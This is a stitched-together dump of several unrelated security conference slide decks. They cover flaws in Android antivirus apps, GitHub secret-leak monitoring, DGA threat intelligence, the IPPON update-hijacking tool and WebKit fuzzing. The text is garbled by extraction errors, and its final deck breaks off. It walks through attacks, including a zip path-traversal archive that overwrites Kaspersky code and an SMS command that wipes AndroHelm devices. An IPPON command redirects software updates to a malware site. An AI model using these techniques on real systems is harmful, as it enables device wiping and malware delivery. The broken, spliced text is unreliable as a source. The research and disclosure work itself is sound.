0x62" 0x3" c" 99" 0x63" 0x2" ? key[0] = ? a = 0x61 0x0 20 Here Comes the Key Le#er% Decimal% Hex% 1.%Cipher% a" 97" 0x61" 0x0" b" 98" 0x62" 0x3" c" 99" 0x63" 0x2" XOR key[0] = a = 0x61 a = 0x61 0x0 21 Here Comes the Key Le#er% Decimal% Hex% 1.%Cipher% a" 97" 0x61" 0x0" b" 98" 0x62" 0x3" c" 99" 0x63" 0x2" XOR key[0] = a = 0x61 b = 0x62 0x3 22 Here Comes the Key Le#er% Decimal% Hex% 1.%Cipher% a" 97" 0x61" 0x0" b" 98" 0x62" 0x3" c" 99" 0x63" 0x2" XOR key[0] = a = 0x61 c = 0x63 0x2 23 Here Comes the Key XOR Cipher = 0x0 0xb5 0xbc 0x9a … aaaa = 0x61 0x61 0x61 0x61 … Key = 0x61 0xd4 0xdd 0xfb … Le#er% Decimal% Hex% 1.  Cipher% aaaa" 97"97"97"97" 0x61"0x61"0x61"0x61" 0x0"0xb5"0xbc"0x9a" 24 ESET License Verification ESET Security App ESET Backend SSL/TLS Protection <NODE NAME="LicenseUsername" VALUE="Fdax6a7wj/I+ZEet" TYPE="STRING"/> key = [0x61 0xd4 0xdd 0xfb 0x5b 0x35 0xb7 0x19 0xec 0x2b 0x42 0xd9 0x4b 0x7 …] Fdax6a7wj/I+ZEet test 25 #Challenges Premium Upgrade for Free? Misuse Lost-Device Feature (Ransomware)? Remotely Influence Scan Engine Behavior? Remote Code Execution? ✔ Misuse Lost-Device Feature (Ransomware)? (1 Example) AndroHelm 26 27 Misuse Lost-Device Feature What is a lost-device feature? • Device Location • Remote Alarm • Remote Wipe • Remote Lock • … Can we abuse “Remote Lock“ or “Wipe“? 28 Remote Communication With Smartphone ? Examples: • Google Cloud Messaging (GCM) • Push Service Provider • SMS Messages 29 Androhelm Anti-Theft SMS Protocol • Anti-theft feature is enabled • User sends SMS command Feature not enabled, still possible to bypass the authentication? 30 Remote Protocol with Activated Anti-Theft wait for incoming SMS split at [SPACE] check password execute command myPass[SPACE]wipe[SPACE] wait for incoming SMS SMS_PASSWORD := “myPass“ command := “wipe“ split at [SPACE] //Stored password pwd := “myPass“ pwd == SMS_PASSWORD? check password false “myPass“ == “myPass“ true command := “wipe“ execute(command) execute command 31 Remote Protocol Deactivated Anti-Theft wait for incoming SMS split at [SPACE] check password execute command Attacker [SPACE]wipe[SPACE]somestring empty string as pwd wait for incoming SMS SMS_PASSWORD := ““ command := “wipe“ SMS_PASSWORD is empty split at [SPACE] //default password pwd := ““ pwd == SMS_PASSWORD? check password false command := “wipe“ execute(command) execute command true ““ == ““ 32 #Challenges Premium Upgrade for Free? Misuse Lost-Device Feature (Ransomware)? Remotely Influence Scan Engine Behavior? Remote Code Execution? ✔ ✔ Remotely Influence Scan Engine Behavior? (1 Example) Malwarebytes 33 34 Unprotected Signature Updates Malwarebytes App (signature) update request Man-in-the-Middle Attacker Malwarebytes Backend (signature) update request = TI028Z%th5Y'uX4>dQz… remove signatures TI028Z%th5Y’uX4>dQz… = 35 #Challenges Premium Upgrade for Free? Misuse Lost-Device Feature (Ransomware)? Remotely Influence Scan Engine Behavior? Remote Code Execution? ✔ ✔ ✔ Remote Code Execution? (1 Example) Kaspersky 36 37 Zip Directory Traversal Special filename for a zip entry /tmp$ unzip -l zipfile.zip Archive: zipfile.zip Length Date Time Name --------- ---------- ----- ---- 22 2016-06-28 13:49 ../../../tmp/dir2/badfile.txt 24 2016-06-28 13:43 file1.txt --------- ------- 46 2 files 38 What happens if we unzip? /tmp$ Archive: zipfile.zip warning: skipped "../" path component(s) in ../../../tmp/dir2/badfile.txt extracting: ./dir1/tmp/dir2/badfile.txt extracting: ./dir1/file1.txt /tmp/dir1/ /tmp/dir1/file1.txt /tmp/dir1/tmp /tmp/dir1/tmp/dir2 /tmp/dir1/tmp/dir2/badfile.txt /tmp$ unzip zipfile.zip -d ./dir1/ /tmp$ find /tmp/dir1/ 39 Zip Directory Traversal - Concept /tmp$ unzip -: zipfile.zip -d ./dir1/ Archive: zipfile.zip extracting: ./dir1/../../../tmp/dir2/badfile.txt extracting: ./dir1/file1.txt /tmp$ ls /tmp/dir1/ file1.txt /tmp$ ls /tmp/dir2/ badbile.txt disable escaping 40 Kaspersky RCE http - request (signature) update Kaspersky Internet Security App Kaspersky Backend • Plaintext, no encryption • No authentication • Self-made integrity protection All important files are signed! But what is an important file? 41 Kaspersky RCE Kaspersky Internet Security App Kaspersky 
 Backend Man-in-the-Middle Attacker (signature) update (signature) update inject evil.txt into zip file h$p://www.kaspersky.com/ucp:ready" h$p://ipm.kaspersky.com/600eb07a'2926'4407'b014'd3e8c77b0086.zip4 h$p://ipm.kaspersky.com/eeea9321'5eac'4709'9046'8475ee951c82.zip4 h$p://downloads7.kaspersky:labs.com/index/u0607g.xml" …" h$p://downloads7.kaspersky:labs.com/bases/mobile/ksrm//rootdetector.jar4 GET-Requests of Application: 42 Finding Attack Vector App’s folder containing executables included in apk file contains classes.dex signed, can not be manipulated!! ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/respond.min.js ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/[Content_Types].xml ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/1000_768.css ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/KISA_EN_Trial.html content of our zip archive ./app_bases/pdm.cfg ./app_bases/pdm.jar … ./app_bases/rootdetector.jar … injected file ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/evil.txt 43 Finding Attack Vector App’s folder ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/respond.min.js ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/[Content_Types].xml ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/1000_768.css ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/KISA_EN_Trial.html ./app_bases/pdm.cfg ./app_bases/pdm.jar … ./app_bases/rootdetector.jar … another injected file ./app_ipm/600eb07a-2926-4407-b014-d3e8c77b0086/pdm.jar Can we overwrite this file? PATH TRAVERSAL! 44 The Exploit • Overwrite original pdm.jar with manipulated pdm.jar • Mitm attacker inject/replaces 
 600eb07a-2926-4407-b014-d3e8c77b0086.zip with 
 following content: unzip -l 600eb07a-2926-4407-b014-d3e8c77b0086.zip Archive: 600eb07a-2926-4407-b014-d3e8c77b0086.zip Length Date Time Name --------- ---------- ----- ---- 16 2015-09-15 18:57 ../../../../../../../../../../../../../ ../../../../../../../../../data/data/com.kms.free/app_bases/pdm.jar 4042 2015-08-28 18:49 1000_768.css 6078 2015-08-28 18:49 AntiVirus_Premium.html 45 Summary of the Attack found unprotected communication augment a zip file with traversal file overwrite existing file with 
 executable code app restart: injected code will 
 be executed http-update-request advertisement archive delivered pdm.jar contains
 executable code 46 #Challenges Premium Upgrade for Free? Misuse Lost-Device Feature (Ransomware)? Remotely Influence Scan Engine Behavior? Remote Code Execution? ✔ ✔ ✔ ✔ 47 Summary AndroHelm Avira CM ESET Kaspersky McAfee MB DOS x x x Upgrade x x Wipe/Lock x HTTP x x x x Scan Engine x x Tapjacking x RCE x x SSL Vuln x Broken Crypto x x XSS x sit4.me/av-advisories 48 Responsible Disclosure Fails • 6/7 vendors fixed vulnerabilities • Epic fails during RD • Expired public key • Certificate was not matching with email address • Some did not reply - met them at a conference 49 Lessens learned… • Big security companies also fail in implementing vulnerable-free apps • Room for improvement in the RD process • Vulnerabilities in mobile apps can be also found in the PC counterpart (research by Tavis Ormandy) 50 sit4.me/av-advisories Stephan Huber
 Email: stephan.huber@sit.fraunhofer.de
 Siegfried Rasthofer
 Email: siegfried.rasthofer@sit.fraunhofer.de
 Twitter: @teamsik
 Website: www.team-sik.org
pdf
Feei <feei@feei.cn> Github敏敏感信息泄露露监控 ⽌止介 <feei@feei.cn> Feei <feei@feei.cn> 吴⽌止介(Feei) 介绍 ‣ ⽩白帽⼦子 ‣ 美丽联合集团 安全项⽬目总监 ‣ 专注漏漏洞洞⾃自动化发现与防御 Feei <feei@feei.cn> 议程 ‣ 背景 ‣ 爬取⽅方案 ‣ 特征思路路 ‣ 规则设计 ‣ 报告 ‣ 误报 ‣ 未来 Feei <feei@feei.cn> 背景 以技术⼿手段杜绝由于员⼯工意识问题导致的Github敏敏感信息泄露露 Feei <feei@feei.cn> 爬取⽅方案 爬取 Proxy+Page vs Token+API Feei <feei@feei.cn> 准实时与频率限制的取舍 爬取 CORP * RULES(N1) * (SEARCH + PAGES(N2) + (PAGE_LIST + HTML_URL + SHA + PATH + FULL_NAME + CONTENT) * PER_PAGE(N3)) N1= ?, N2 = 20, N3 = 50 Token Max Requests(5000) / Single Rule Requests(320) = Rules(15) Feei <feei@feei.cn> 内部特征 - 域名反查 通⽤用内⽹网域名特征 .net alipay.net taobao.net qihoo.net elenet.me 后缀 mogujie.org tuniu.org dianrong.io bilibili.co inc meili-inc.com sohu-inc.com alibaba-inc.com cainiao-inc.com corp ctripcorp.com 相似 wemomo.com Feei <feei@feei.cn> 内部特征 - Github模糊查询 通⽤用模糊搜索词 domain.tld corp domain.tld dev domain.tld inc domain.tld pre domain.tld test domain inc domain copyright Feei <feei@feei.cn> 内部特征 Meili-Inc 内部域名 mogujie.org / meili-inc.com 对外邮箱 mail.mogujie.com Feei <feei@feei.cn> 内部特征 iQIYI 代码注释 IQIYI Inc 内部域名 qiyi.domain 主机 qiyi.virtual 数据库 qiyi.db 对外邮箱 mail.iqiyi.com Feei <feei@feei.cn> 内部特征 Baidu 代码注释 @baidu.com Baidu, Inc 内部域名 vm.baidu.com / epc.baidu.com iwm.name 主机 vm.baidu.com / nj01.baidu.com sh01.dba-nuomi-bgoods.sh01 数据库 xdb.all.serv db-dba-dbbk-001.db01 对外邮箱 smtp.baidu.com Feei <feei@feei.cn> 内部特征 Other 京东 jd.local 360 qihoo.net 搜狐 sohuno.com 苏宁 cnsuning.com 陌陌 wemomo.com 饿了了么 elenet.me 携程 ctripcorp.com 去哪⼉儿 qunar.net ⽀支付宝 alipay.net 淘宝 taobao.net ⼩小⽶米 mioffice.cn 菜⻦鸟 cainiao-inc Feei <feei@feei.cn> 通⽤特征 企业邮箱 exmail.qq.com qiye.163.com 263.net mxhichina.com icoremail.net … 私密⽂文档 账号 密码 微信密钥 appid appsecret QCloud密钥 privatekey publickey Feei <feei@feei.cn> 搜索特性 强制搜索 加引号,⽐比如”meili-inc.com” 横杠默认不不匹配 使⽤用”meili-inc.com”搜索不不出,使⽤用”meili inc.com”则可以 分词特性 appsecret Feei <feei@feei.cn> 规则设计 Keywords 多个关键词可以⽤用空格,⽐比如‘账号 密码’; 某些关键字出现的结果⾮非常多,所以需要精确搜索时可以⽤用双引号括 起来,⽐比如‘”ele.me“’; Mode normal-match(default): 匹配包含keyword的⾏行行,并记录该⾏行行附近⾏行行 only-match:仅匹配包含keyword⾏行行 full-match: 搜出来的整个问题都算作结果 mail wechat qcloud Extension 多个后缀可以使⽤用英⽂文半⻆角逗号(,)分隔,⽐比如’java,php,python‘ Feei <feei@feei.cn> 报告 调快客户端收信的时间间隔 imap模式,保证各平台统⼀一处理理已读状态 可以提交或者可研究的打上标记 误报删除到垃圾桶,定期针对垃圾桶优化规则减少误报 对于邮件发送频率限制,可以多配置多个不不同运营商的发件账号 邮件 Feei <feei@feei.cn> 误报 Exclude Repository Name Github博客 github.io github.com Android项⽬目 app/src/main 爬⾍虫 crawler spider scrapy 爬⾍虫 插件 surge adblock .pac ⽆无⽤用 linux_command_set domains jquery sdk linux contact readme hosts authors .html .apk Feei <feei@feei.cn> 误报 Exclude Codes Link <a href <iframe src ]( ⽆无⽤用 DOMAIN-SUFFIX ⽂文档 接⼝口 友情链接 官⽹网 Feei <feei@feei.cn> 未来 1. 持续提升准确性 2. 实时性对抗 3. 扩充通⽤用类规则 1. DB 2. REDIS 3. SSH Feei <feei@feei.cn> Q&A
pdf
DGAs and Threat Intelligence John Bambenek – Fidelis Cybersecurity Threat Research Team HITCON 2015 Intro  President and Chief Forensic Examiner for Bambenek Consulting  Adjunct Faculty in CS Department at the University of Illinois at Urbana-Champaign  Producer of open-source intel feeds  Work with companies and LE all over the world to address growth in cybercrime About Threat Intelligence  Information is a set of unprocessed data that may or may not contain actionable intelligence.  Intelligence is the art of critically examining information to draw meaningful and actionable conclusions based on observations and information.  Involves analyzing adversary capabilities, intentions and motivations. Adversarial objectives  Here we are generally talking about organized crime, usually financially motivated.  What we know:  Highly rational actors  May hire “outside experts” for specific tasks  Generally technological sophisticated  Desire to remain “quiet” and resilient My Objectives  Any good intelligence program needs to also analyze your own objectives.  I investigate and try to disrupt criminal networks, so my objective is externally focused.  These efforts are directed toward “criminal” actors, nation-state / APT threats would require a different focus.  Most people are defensively focused so their information priorities are different. Malware C2 Network Types  Static IP / Hostname Lists  Proxied C2s  Dynamic DNS  Fast Flux / Double Flux Networks  Domain Generation Algorithms  Tor / i2p hidden services A History of Malware C2 Networks  An adversary wants to persist over the long-term and make their networks more resilient against enforcement actions.  Domains tend to be easier to take down the IPs due to avoidance of jurisdictional issues.  Development over time will largely show adversaries have acted in ways to ensure increased resiliency.  We can continue to map forward over time where they are likely to go in the future as a result. Use of Multiple Techniques  The most resilient malware C2 use multiple methods of callback.  Static Lists  DGAs  Tor/I2P  If one or two are blocked, still able to control machine.  To affect a takedown, need to block all means of communication and updating victim machines. Domain Generation Algorithms  Usually a complex math algorithm to create pseudo-random but predictable domain names.  Now instead of a static list, you have a dynamic list of hundreds or thousands of domains and adversary only needs to have a couple registered at a time.  Can search for “friendly” registrars to avoid suspension. Reverse Engineering DGAs  Many blog posts about reversing specific DGAs, Johannes Bader has the most online at his blog:  Johannesbader.ch  No real shortcuts except working through IDA/Debugger and reversing the function.  Look for functions that iterate many times.  There will be at least a function to generate the domains and a function to connect to all of them to find the C2.  As with all reverse engineering, be aware of obfuscation and decoy code meant to deceive you. Reversing DGAs Example From http://johannesbader.ch/2015/05/the-dga-of-ranbyus/ Types of DGAs  Almost all DGAs use some time of “Seed”.  Types:  Date-based  Static seed  Dynamic seed  Seed has to be globally consistent so all victims use the same one at the same time. Other DGA Hardening Techniques  Choice of gTLD matters.  Some doing have WHOIS protection, make it hard to sinkhole  Rotation of seeds  Some malware has rudimentary “sinkhole awareness”  Adversarial objectives: Maintain control, limit surveillance Examples of select DGAs - Cryptolocker  Used 1000 domains a day across 7 gTLDs. Order domains are queries in based on GetTickCount()  Eerily similar to DGA described in Wikipedia article on DGAs.  Used previously by Flashback OSX Worm.  Never changed during the life of the malware campaign.  Successfully taken down in June 2014.  Special thanks to Vladimir Kropotov for his help on this! Examples of select DGAs - Cryptolocker  Intel conclusions:  Likely written by a third party.  Went days without a domain registered, actor wanted to get paid but wasn’t overly concerned about keeping everything going 24x7.  Tended not to shift registrar even after domains were suspended.  Likely didn’t monitor his own domains because the ratio of malicious to sinkholed domains was about 1:125.  Way to go on the OPSEC good guys. D Examples of select DGAs - Tinba  Generated 1,000 domains a day, not date- seeded.  Seeded by an initial hostname and a defined gTLD (one or more).  Changes seeds often and tends to update already infected machines.  At least sinkholing tended to be ineffective for more than a few days. Examples of select DGAs - Tinba  Intelligence conclusions:  These guys care about their infrastructure.  Likely they are actively monitoring to see when their DGA is cracked and adapting accordingly.  Likely they wrote DGA with this kind of flexibility in mind. Examples of select DGAs - Bedep  Uses a dynamic seed – currency exchange values for foreign currency  European Central Bank produces daily feeds of the rates, this is used as source data.  Impossible to predict in advance even though code to generate the domains is publicly available.  http://asert.arbornetworks.com/bedeps-dga-trading-foreign- exchange-for-malware-domains/ Examples of select DGAs - Bedep  To date, all successful takedowns (and for that matter unsuccessful takedowns) seized malicious DGA domains in advance while simultaneously suspending current domains.  This would decapitate a botnet if and only if there was no fallback mechanism to reach the C2 (i.e. tor).  How can you do this for Bedep when you don’t know future currency values?  Intelligence conclusion: this is obviously an intentional choice. Examples of Select DGAs – Matsnu and Rovnix  Matsnu and Rovnix both use wordlists to generate domains that appear like they would be “reasonable”. Rovnix uses the US Declaration of Independence.  Problem is that sometimes there is collisions with real domains. teamroomthing.com,Domain used by matsnu DGA for 16 Aug 2015,2015-08- 16 transitionoccur.com,Domain used by matsnu DGA for 16 Aug 2015,2015-08- 16 windbearboxreceive.com,Domain used by matsnu DGA for 16 Aug 2015,2015-08-16 winner-care-sir.com,Domain used by matsnu DGA for 16 Aug 2015,2015-08- 16 theirtheandaloneinto.com, Domain used by Rovnix DGA thathistoryformertrial.com, Domain used by Rovnix DGA tothelayingthatarefor.com, Domain used by Rovnix DGA definebritainhasforhe.com, Domain used by Rovnix DGA tosecureonweestablishment.com, Domain used by Rovnix DGA What the use of DGAs gives the good guys  Easy ability to sinkhole unused DGA domains to gather additional intelligence.  Easier ability to do bulk takedowns.  *IF* you can predict domains in advance.  The ability to surveil malicious infrastructure in near real-time. What the use of DGAs gives the good guys  The use of DNS in malware severely limits the ability of the adversary to play games.  They need the world to be able to find their infrastructure in order to control victim machines.  Even when DGA changes, the adversary **tends** not to immediately change their infrastructure too.  Allows for the use of passive DNS to see the extent of DGA changes. Sinkholing  Many security companies do this.  Many want to hide the fact they do this.  Most adversaries aren’t stupid enough to not notice.  Remember, Cryptolocker we had 125 or so sinkholed domain for every 1 malicious domain. Feed generation on DGAs sjuemopwhollev.co.uk,Domain used by Cryptolocker - Flashback DGA for 13 Aug 2015,2015-08-13 meeeqyblgbussq.info,Domain used by Cryptolocker - Flashback DGA for 13 Aug 2015,2015-08-13 ntjqyqhqwcwost.com,Domain used by Cryptolocker - Flashback DGA for 13 Aug 2015,2015-08-13, nvtvqpjmstuvju.net,Domain used by Cryptolocker - Flashback DGA for 13 Aug 2015,2015-08-13 olyiyhprjuwrsl.biz,Domain used by Cryptolocker - Flashback DGA for 13 Aug 2015,2015-08-13 sillomslltbgyu.ru,Domain used by Cryptolocker - Flashback DGA for 13 Aug 2015,2015-08-13 gmqjihgsfulcau.org,Domain used by Cryptolocker - Flashback DGA for 13 Aug 2015,2015-08-13, From here you could easily feed this into RPZ or other technology to protect your organization. But we want more. How to set up surveillance on a DGA  Easy to set up with shell scripting and a non- t1.micro AWS instance.  Requires GNU parallel and adns-tools to handle bulk DNS queries. DGA surveillance  Pre-generate all domains 2 days before to 2 days in future.  Pipe all those domains into adnshost using parallel to limit the number of lines.  Able to process over 700,000 domains inside 10 minutes (and I’m not done optimizing). parallel -j4 --max-lines=3500 --pipe adnshost -a -f < $list-of- domains | fgrep -v nxdomain >> $outputfile Tinba DGA feed example bcldleeivfii.com,Domain used by tinba,2015-08-15 04:15 bfoxyvqtolmn.com,Domain used by tinba,2015-08-15 04:15 cniuybkgxelo.com,Domain used by tinba,2015-08-15 04:15 dgscodhlppkk.com,Domain used by tinba,2015-08-15 04:15 djnmllhgwtff.net,Domain used by tinba,2015-08-15 04:15 This is active not-known-sinkhole domains current resolving. A note on intelligence bias  How we look at threats and what we tend to do with information will affect how we gather intel and how we process it.  I tend to be involved in takedowns so I am generally uninterested in sinkholes.  If you protect an organization, however, you care about your client machines reaching out to sinkholes because they are still infected. Tinba IP list 5.230.193.215,IP used by tinba C&C,2015-08-15 04:15 54.72.9.51,IP used by tinba C&C,2015-08-15 04:15 95.163.121.201,IP used by tinba C&C,2015-08-15 04:15 104.27.169.12,IP used by tinba C&C,2015-08-15 04:15 104.28.13.180,IP used by tinba C&C,2015-08-15 04:15 Seems like a good list to firewall… More on that in a moment. Should also check NS info too 5.230.193.215,Nameserver IP used by tinba C&C,2015-08-15 04:21 5.45.69.31,Nameserver IP used by tinba C&C,2015-08-15 04:21 46.166.189.99,Nameserver IP used by tinba C&C,2015-08-15 04:21 50.7.230.28,Nameserver IP used by tinba C&C,2015-08-15 04:21 54.75.226.194,Nameserver IP used by tinba C&C,2015-08-15 04:21 Should also check NS info too ns3.freedns.ws,Nameserver used by tinba C&C,2015-08-15 04:21 ns4.freedns.ws,Nameserver used by tinba C&C,2015-08-15 04:21 ns-canada.topdns.com,Nameserver used by tinba C&C,2015-08-15 04:21 ns-uk.topdns.com,Nameserver used by tinba C&C,2015-08-15 04:21 ns-usa.topdns.com,Nameserver used by tinba C&C,2015-08-15 04:21 With these two data points you can usually quickly validate what is a sinkhole and what is likely malicious and bears further investigation. DGA Surveillance  Looking at those four data points you now have solid information to make decisions based on the data.  You could block domains/IPs.  You could block nameservers (some times). Adversarial Response  Adversaries know we are doing this.  In response:  They change seeds frequently  They have non-DGA communication mechanisms  They engage in counterintelligence Counterintelligence  The tactics by which an adversary thwarts attempts to gather information on itself.  Remember the domain and IP lists before?  What if an adversary registers domains that they aren’t using? Counterintelligence – or worse version  What if adversary knows you pump these IP lists directly into your firewall (and I know people do this with my feeds)?  Anyone recognize these IP addresses? They are the DNS Root Servers 198.41.0.4 192.228.79.201 192.33.4.12 199.7.91.13 192.203.230.10 192.5.5.241 192.112.36.4 128.63.2.53 192.36.148.17 192.58.128.30 193.0.14.129 199.7.83.42 202.12.27.33 Counterintelligence – or worse version  Taking action on information without analysis is generally a bad idea, especially when the information is under the complete control of the adversary.  This is why intelligence analysis is so important.  (I whitelisted the root servers after I noticed an adversary tried to do an attack similar to this.) Whois Registrar Intel  Often actors may re-use registrant information across different campaigns. There may be other indicators too.  Sometimes *even with WHOIS privacy protection* it may be possible to correlate domains and by extension the actor.  Most criminal prosecution in cybercrime is due to an OPSEC fail and the ability to map backwards in time of what the actor did to find that fail that exposes them. Whois Info • Many actors will use WHOIS protection… some just use fake information. • “David Bowers” is common for Bedep. ubuntu$ grep "David Bowers" *.txt | grep Registrant whois-bfzflqejohxmq.com.txt:Registrant Name: David Bowers whois-demoqmfritwektsd.com.txt:Registrant Name: David Bowers whois-eulletnyrxagvokz.com.txt:Registrant Name: David Bowers whois-lepnzsiqowk94.com.txt:Registrant Name: David Bowers whois-mhqfmrapcgphff4y.com.txt:Registrant Name: David Bowers whois-natrhkylqoxjtqt45.com.txt:Registrant Name: David Bowers whois-nrqagzfcsnneozu.com.txt:Registrant Name: David Bowers whois-ofkjmtvsnmy1k.com.txt:Registrant Name: David Bowers David Bowers bfzflqejohxmq.com,Domain used by bedep (-4 days to today),2015-08-16 eulletnyrxagvokz.com,Domain used by bedep (-4 days to today),2015-08-16 natrhkylqoxjtqt45.com,Domain used by bedep (-4 days to today),2015-08-16 nrqagzfcsnneozu.com,Domain used by bedep (-4 days to today),2015-08-16 But why stop with just known DGAs, what other domains are associated with “David Bowers”? David Bowers Surveillance is nice, what about notification?  Creation of feeds and intake is still a passive tactic.  It is all possible to automate notifications when key changes happen to allow for more near-time actions.  This uses the Pushover application (Apple and Google stores) which has a very simple API. New Dyre domain registered New Bedep Domain Registered New Matsnu domains registered Pivoting  Now that I know the-fancastar.com and j- manage.com serve NS for Matsnu, I can see what else is served by those nameservers to find additional intelligence.  As of 24 Aug, this has switched to nausoccer.net and kanesth.com  Caution is due, this may not always yield results and may yield false positives. Always correlate with something else before making a final judgement. Pivoting Using IP from Matsnu 31.210.120.103 hostkale.com. IN A 31.210.120.103 ns1.hostkale.com. IN A 31.210.120.103 ns2.hostkale.com. IN A 31.210.120.103 linuxtr.hostkale.com. IN A 31.210.120.103 mobiluzman.com. IN A 31.210.120.103 habertemasi.com. IN A 31.210.120.103 kinghackerz.com. IN A 31.210.120.103 eglencekeyfi.com. IN A 31.210.120.103 ns1.eglencekeyfi.com. IN A 31.210.120.103 nejdetkuafor.com. IN A 31.210.120.103 profitstring.com. IN A 31.210.120.103 sirketrehber.com. IN A 31.210.120.103 actstudy-meat.com. IN A 31.210.120.103 …. Last adversarial response  Starting to see sinkhole-aware malware.  Some malware always authenticated the C2, but sinkholes still could gather intel.  Now malware is being written to attempt to bypass sinkholes altogether. The Future?  DGAs will be around for awhile as part of several methods of communication to victim machines.  Tor/I2P will continue to be used because of its advantages but DGAs still needed due to ease of blocking tor.  Increase in the use of “interesting” dynamic seeds. Questions? Thanks Daniel Plohmann, April Lorenzen, Andrew Abakumov, Anubis Networks, many others. And thanks HITCON! My feeds: osint.bambenekconsulting.com/feeds/ jcb@bambenekconsulting.com www.bambenekconsulting.com +1 312 425 7225
pdf
The Day Of The Update Once upon an Update … Itzik Kotler Tomer Bitton Update? I already donated • Ability to delivery bug fixes or new features to existing customers of applications • Natural inhibitors: – Punch Cards – BBS/Modem – Floppies/CD’s – Internet What’s The Big Update? • Updates are usually a background tasks, thus draw little attention from the user • Most updates are binaries that gets executed on the updater machine • An update can be used to manipulate sensitive data such as anti-virus rules • Update can be silently tampered with it, leaving almost no trace behind Catching an Update • Feasible over a variety of MITM Attacks: – Wi-Fi via Open/Weak Cryptography – LAN via ARP Poisoning – WAN via DNS Cache Attack (Thanks Dan!) • Wi-Fi is our favorite choice, common in Airports/McDonalds/Café shops and etc. Subverting The Update Procedure • Client asks Server whether it’s up to date – Replied with Negative Answer • Client asks Server for Download Sites – Replied with Malicious Sites OR • Client downloads from a Known Site – Redirected into a Malicious Site Subverting The Update Connection • Spoofing Server Reply: – IP: • Invert source and destination addresses – TCP: • Invert source and destination ports • SEQ is received ACK • ACK SEQ is received DATA + SEQ • One Shot, One Kill Flags: PUSH + ACK + FIN • FIN flag is muting the Server, and possibly causing the Client to disconnect afterward Subverting The Update Agent • Client accesses a Document (XML/INI/...) – Reply w/ 200 OK (Cooked Data) • Document contains Malicious Binary Sites • Client downloads a File – Reply w/ 302 (Redirection) • Redirection to Malicious Binary Site • Server – Will be Ignored (muted at Connection Level) Attack Walkthrough: 200 OK w/ Cooked Data Target Application: Notepad++ Notepad++ Checks For a New Version Replied w/ 200 OK (Cooked Data) 200 OK w/ Cooked Document • Update expects: – List of Sites for Downloads • Upcoming downloads will go to our sites – Is There A Newer Version Available? • There’s always a “newer” version for you • Summary: – Update will take place on our provided sites – One Shot, One Kill! Attack Walkthrough: 302 Found w/ Malicious Site Target Application: Skype Skype Downloads a Newer Version Replied w/ 302 Found (M. URL) 302 Found w/ Malicious URL • Update expects: – 200 OK on SkypeSetup.exe • Update receives: – 302 Found w/ SkypeSetup.exe • This download will go to our site • Summary: – Pre-programmed URLs bypassed – One Shot, One Kill! Attack Walkthrough: 200 OK + 302 Found Target Application: MalwareBytes MalwareBytes Update Flow Replied w/ 200 and 302 Combo Attack (200 + 302) • Update document don’t contains sites – 200 OK only contains a positive update answer, no sites or other parameters defined • Update has a pre-defined URL – 302 Found redirects the upcoming download to our own site Time for an Update Check! • Who’s also Vulnerable? – Alcohol 120 – GOM Player – iMesh – Skype – Hex Workshop – Adobe PDF Reader – … • Let’s see IPPON taking them down! IPPON Targets Maintenance • IPPON takes it’s targets from an XML file that contains triggers and responses • IPPON Target specifics: – Response which is either static, dynamic (on the fly) or a redirection attempt – Trigger which is made of a given HOST, URL and can be equal to ANY SSL Can Update Me Better? • Generally yes, but surprisingly common implementations of it in Updaters not. • SSL is expensive resource-wise, thus it’s not fit for an entire download session • Update takes place in the background, there’s no little golden lock so not everybody puts the efforts Update w/ Self Signed Certificate • For an effective SSL the Server must present a valid, verifiable Certificate that costs money. • Cheap SSL Solutions: – Update w/ Self Signed Certificate – Update w/ Third-Party Certificate (certificate validity not verified) • Result: – Vulnerable, only provides looks ‘n feel! Update w/ NULL Cipher • SSL Server gets to pick Cipher Suite • It’s possible to race condition ServerHello or ClientHello messages to gain visibility • If Cipher is set to NULL, there’s little benefit for SSL • Minimum Cipher Suite Strength should be set in advance to avoid such tampering Update, for a better future • Digital Signature – Update agent holds a public key, and can verify the download directly, or indirectly throughout a file that contains an md5/sha1 • SSL (The Right Way): – Must be Valid/Verifiable Certificate – Only needs to exchange an MD5/SHA1 of the upcoming download Nothing but an Update Party! • Proprietary Update Attack: – Playing w/ Anti Virus Rules • Anti Virus Attacks Legitimate Applications • Anti Virus Attacks Itself • Anti Virus Protects Virus • Hit ‘n Run Mode: – If application saves, or maintains a list of latest download sites and you’ve managed to slip one – you’ve got an returning customer ☺ • Contagious Mode: – Embedding IPPON and run it on updater, so they could in turn infect their insecure environment wherever they go Questions? IPPON Project: http://code.google.com/p/ippon-mitm/ Get your latest version and targets! Happy Updating! ☺ ./ippon.py –w –i <INTERFACE> targets.xml -u <MALWARE SITE>
pdf
KCon KCon Webkit Vulnerability form 0 to 1 Lockmanxxx •Work for 兴华永恒 •软件漏洞利用研究 •软件漏洞成因分析 •偶尔漏洞挖掘 @weibo:Lockmanxxx @twitter:lockmanxxx who 高效的挖掘?!? From 0 to 1 目录 CONTENTS PART 01 浏览器漏洞挖掘难点 PART 02 Why WebKit? PART 03 挖掘思路 PART 04 挑战 PART 05 漏洞挖掘平台 PART 06 展示 PART 07 To Do Soon 01 浏览器漏洞挖掘难点 https://www.flexerasoftware.com/enterprise/resources/research/vulnerability-review/ • Webkit – Blink(chrome)、Apple Safari • Gecko – Fireforx • Trident – Internet Explorer • JavaScript Engine也开始出现分化。 Browsers 02 Why Webkit? 特点 • 开源 • “Chrome”,safari, Ucbrowser, QQ Browser…… • 多平台支持,Android+windows+linux • WebKitGTK oMiniborwser oWebKitWebProcess oWebKitNetworkProcess oJSC WebKitGtk Webkitgtk Webkit引擎 WebCore JavaScriptCore(jsc) 挖掘思路 03 + (E=mc2) => 首先 其次 • 代码分析(不深入) – “铀” • 根据分析搜集的数据,定制fuzz输入 – “E=mc2” • 随机规则 • 挖掘平台 • 根据代码覆盖率,不断完善。 详细 挑战J 04 网页模型 挖掘对象 WebKit parser • Html -解释型 -DOM树 • JavaScript -脚本语言 -词法-语法-语义-字节码-编译-优化-汇编 HTML parser Code Flow WebKitWebView WebCore::Page WebCore::DocumentLoader WebCore::MainFrame WebCore::FrameLoader WebCore::HTMLDocument WebCore::DOMWindow WebCore::HTMLDocumentParser WebCore::HTMLScriptRunner page Main 